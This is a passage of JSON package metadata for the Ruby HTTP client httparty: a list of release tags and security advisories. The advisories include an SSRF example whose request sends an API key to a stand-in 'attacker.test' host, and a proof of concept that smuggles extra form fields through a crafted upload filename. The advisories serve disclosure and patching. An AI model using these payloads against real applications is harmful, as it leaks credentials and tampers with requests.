tparty/tar.gz/v0.10.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.1/manifests"},{"name":"v0.10.0","sha":"3e2ec2bda1f948fbb1e4ffbf531c9ebbbff00795","kind":"tag","published_at":"2013-01-10T20:52:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.10.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"d392c2d1cb4ca4413e28a7ef55dcede1fccd2dc6","kind":"tag","published_at":"2012-09-07T18:03:44.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.9.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.9.0/manifests"},{"name":"v0.8.3","sha":"1d6e2fa72a51288b3d53850cb1a1ebd60f47d9a3","kind":"tag","published_at":"2012-04-22T03:09:34.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"d0ed57ea578655a3783df3732c3f349497fcc1f3","kind":"tag","published_at":"2012-04-12T17:06:11.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"76a9f1b45b4a11f12dd7d99d6497ca381a5607e5","kind":"tag","published_at":"2011-10-05T15:28:32.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"ebbd0cb9438547a2ad5cf998b63b234004dd5be6","kind":"tag","published_at":"2011-09-13T16:35:05.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.8.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.8.0/manifests"},{"name":"v0.7.8","sha":"68c254f9c1d90430ec7da25e941625ba9e989799","kind":"tag","published_at":"2011-06-07T01:38:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.8","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"2d4c1bd34bd86dccf36616ea7540916a8adc1a09","kind":"tag","published_at":"2011-04-20T21:55:02.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.7","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"d7e3079c597209d9870d329baa13cb74d73deb68","kind":"tag","published_at":"2011-04-16T18:45:18.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.6","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"3ffad3570374014953fc5e36b528c8f838b78951","kind":"commit","published_at":"2011-04-15T22:32:09.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"00a7ec9ce55a8e1aeeea2fde7d16c59821266122","kind":"commit","published_at":"2011-02-13T20:20:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"d5b023c9054aaa308e012adb1220f8d1d065cdb9","kind":"commit","published_at":"2011-01-20T17:33:06.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"802a4edddd70b898580ee12bec79a4459214a5fd","kind":"commit","published_at":"2011-01-20T06:41:37.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"6946ecb4914bf65b685a0fd6bd4a122f1b2a4c01","kind":"commit","published_at":"2011-01-19T21:54:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f52142ffc5867ce42bf3048315959d84e7639d64","kind":"commit","published_at":"2011-01-18T22:05:49.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"24892b873f88e16d86dca2dd5a96fcf4dacfcc77","kind":"commit","published_at":"2010-07-07T20:14:54.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"d160df6c3b21a384cfcc68c0ffd23dc6c168b68d","kind":"commit","published_at":"2010-06-13T15:43:43.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"03852d246bc1482150e92c23115e02e1de4930fb","kind":"commit","published_at":"2010-01-31T23:39:28.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"c3cefc223aca504072951cabf17e17cd88a5780c","kind":"commit","published_at":"2010-01-31T03:31:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"94601fe05efeb2fbd001e9830b4f9ec522ad2250","kind":"commit","published_at":"2009-12-08T02:59:52.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0/manifests"},{"name":"v0.4.5","sha":"7443e42395e00ddaee362586471ae948eada4a76","kind":"commit","published_at":"2009-09-13T03:14:01.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.4.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5/manifests"}]},"repo_metadata_updated_at":"2026-04-28T23:02:31.193Z","dependent_packages_count":0,"downloads":452541543,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":0.05568801734438443,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":0.1384090528171108,"average":0.04852426754037381},"purl":"pkg:gem/httparty?repository_url=https://gem.coop","advisories":[{"uuid":"GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw","url":"https://github.com/advisories/GHSA-hm5p-x4rq-38w4","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","description":"## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' =\u003e '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" \u003e /tmp/server1/index.html \n   echo \"this is server2\" \u003e /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 \u0026\n   python -m http.server -d /tmp/server2 10002 \u0026\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-12-23T19:31:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4","https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240","https://nvd.nist.gov/vuln/detail/CVE-2025-68696","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml","https://github.com/advisories/GHSA-hm5p-x4rq-38w4"],"source_kind":"github","identifiers":["GHSA-hm5p-x4rq-38w4","CVE-2025-68696"],"repository_url":null,"blast_radius":0.0,"created_at":"2025-12-23T20:00:08.059Z","updated_at":"2026-03-02T02:00:41.879Z","epss_percentage":0.00061,"epss_percentile":0.18868,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":"0.24.0","vulnerable_version_range":"\u003c= 0.23.2"}],"purl":"pkg:gem/httparty","statistics":{"dependent_packages_count":4792,"dependent_repos_count":64329,"downloads":439492086,"downloads_period":"total"},"affected_versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.5","0.1.6","0.1.7","0.1.8","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.2.10","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.7.0","0.7.2","0.7.3","0.7.4","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.3","0.18.0","0.18.1","0.19.0","0.19.1","0.20.0","0.21.0","0.22.0","0.23.0","0.23.1","0.23.2"],"unaffected_versions":["0.24.0","0.24.1","0.24.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTVwLXg0cnEtMzh3NM4ABQFw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv","url":"https://github.com/advisories/GHSA-g47j-3m2m-74qv","title":"Duplicate Advisory: httparty has multipart/form-data request tampering vulnerability","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-5pq7-52mg-hr42. This link is maintained to preserve external references.\n\n### Original Description\nhttparty before 0.21.0 is vulnerable to an assumed-immutable web parameter vulnerability. A remote and unauthenticated attacker can provide a crafted filename parameter during multipart/form-data uploads which could result in attacker controlled filenames being written.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-01-04T21:30:24.000Z","withdrawn_at":"2024-01-05T15:32:43.000Z","classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42","https://nvd.nist.gov/vuln/detail/CVE-2024-22049","https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e","https://github.com/advisories/GHSA-5pq7-52mg-hr42","https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43","https://vulncheck.com/advisories/vc-advisory-GHSA-5pq7-52mg-hr42","https://lists.debian.org/debian-lts-announce/2024/01/msg00011.html","https://lists.debian.org/debian-lts-announce/2024/09/msg00043.html","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4LDGAVPR4KB72V4GGQCWODEAI72QZI3V","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IOWECZPJY6JZIA5FSBJR77KCRDXWDZDA","https://github.com/advisories/GHSA-g47j-3m2m-74qv"],"source_kind":"github","identifiers":["GHSA-g47j-3m2m-74qv"],"repository_url":"https://github.com/jnunemaker/httparty","blast_radius":0.0,"created_at":"2024-01-05T16:05:45.697Z","updated_at":"2026-01-21T00:05:29.427Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.20.0"}],"purl":"pkg:gem/httparty","statistics":{"dependent_packages_count":4792,"dependent_repos_count":64329,"downloads":439492086,"downloads_period":"total"},"affected_versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.5","0.1.6","0.1.7","0.1.8","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.2.10","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.7.0","0.7.2","0.7.3","0.7.4","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.3","0.18.0","0.18.1","0.19.0","0.19.1","0.20.0"],"unaffected_versions":["0.21.0","0.22.0","0.23.0","0.23.1","0.23.2","0.24.0","0.24.1","0.24.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNDdqLTNtMm0tNzRxds4AA4Mv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ","url":"https://github.com/advisories/GHSA-5pq7-52mg-hr42","title":"httparty has multipart/form-data request tampering vulnerability","description":"### Impact\nI found \"multipart/form-data request tampering vulnerability\" caused by Content-Disposition \"filename\" lack of escaping in httparty.\n\n`httparty/lib/httparty/request` \u003e `body.rb` \u003e `def generate_multipart`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\nBy exploiting this problem, the following attacks are possible\n\n* An attack that rewrites the \"name\" field according to the crafted file name, impersonating (overwriting) another field.\n* Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename\n\nFor example, this vulnerability can be exploited to generate the following Content-Disposition.\n\n\u003e Normal Request example:\n\u003e normal input filename: `abc.txt`\n\u003e \n\u003e generated normal header in multipart/form-data\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"abc.txt\"`\n \n\u003e Malicious Request example\n\u003e malicious input filename: `overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt`\n\u003e \n\u003e generated malicious header in multipart/form-data:\n\u003e `Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"`\n\nThe Abused Header has multiple name ( `avatar` \u0026 `foo` ) fields and the \"filename\" has been rewritten from `*.txt` to `*.sh` .\n\nThese problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.\nI have confirmed that the attack succeeds, at least in the following frameworks\n\n * Spring (Java)\n * Ktor (Kotlin)\n * Ruby on Rails (Ruby)\n\nThe cause of this problem is the lack of escaping of the `\"` (Double-Quote) character in Content-Disposition \u003e filename.\n\nWhatWG's HTML spec has an escaping requirement.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\n\n\n### Patches\n\nAs noted at the beginning of this section, encoding must be done as described in the HTML Spec.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n\u003e For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\nTherefore, it is recommended that Content-Disposition be modified by either of the following\n\n\u003e Before:\n\u003e `Content-Disposition: attachment;filename=\"malicious.sh\";dummy=.txt`\n\n\u003e After:\n\u003e `Content-Disposition: attachment;filename=\"%22malicious.sh%22;dummy=.txt\"`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\n```\nfile_name.gsub('\"', '%22')\n```\n\nAlso, as for `\\r`, `\\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK.\nHowever, since there may be omissions, it is safer to URL encode these as well, if possible.\n( `\\r` to `%0A` and `\\d` to `%0D` ) \n\n### PoC\n\n#### PoC Environment\n\nOS: macOS Monterey(12.3)\nRuby ver: ruby 3.1.2p20 \nhttparty ver: 0.20.0\n(Python3 - HTTP Request Logging Server)\n\n### PoC procedure\n\n\n(Linux or MacOS is required. \nThis is because Windows does not allow file names containing `\"` (double-quote) .)\n\n1. Create Project \n```\n$ mkdir my-app\n$ cd my-app\n$ gem install httparty\n```\n\n2. Create malicious file\n\n```\n$ touch 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n```\n\n3. Generate Vuln code\n\n```\n$ vi example.rb\n```\n\n```\nrequire 'httparty'\n\nfilename = 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n\nHTTParty.post('http://localhost:12345/',\n  body: {\n    name: 'Foo Bar',\n    email: 'example@email.com',\n    avatar: File.open(filename)\n  }\n)\n```\n\n\n4. Run Logging Server\n\nI write Python code, but any method will work as long as you can see the HTTP Request Body.\n(e.g. Debugger, HTTP Logging Server, Packet Capture) \n\n\n$ vi logging.py\n```\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass LoggingServer(BaseHTTPRequestHandler):\n\n    def do_POST(self):\n        self.send_response(200)\n        self.end_headers()\n        self.wfile.write(\"ok\".encode(\"utf-8\"))\n\n        content_length = int(self.headers['Content-Length'])\n        post_data = self.rfile.read(content_length)\n        print(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\n                     str(self.path), str(self.headers), post_data.decode('utf-8'))\n        self.wfile.write(\"POST request for {}\".format(self.path).encode('utf-8'))\n\nip = '127.0.0.1'\nport = 12345\n\nserver = HTTPServer((ip, port), LoggingServer)\nserver.serve_forever()\n```\n\n$ python logging.py\n\n\n5. Run \u0026 Logging server\n\n```\n$ run example.rb\n```\n\nReturn Request Header \u0026 Body:\n\n\u003e User-Agent: Ruby\n\u003e Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz\n\u003e Connection: close\n\u003e Host: localhost:12345\n\u003e Content-Length: 457\n\u003e \n\u003e  --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"name\"\n\u003e \n\u003e Foo Bar\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"email\"\n\u003e \n\u003e example@email.com\n\u003e --------------------------F857UcxRc2J1zFOz\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\u003e Content-Type: text/plain\n\u003e \n\u003e abc\n\u003e 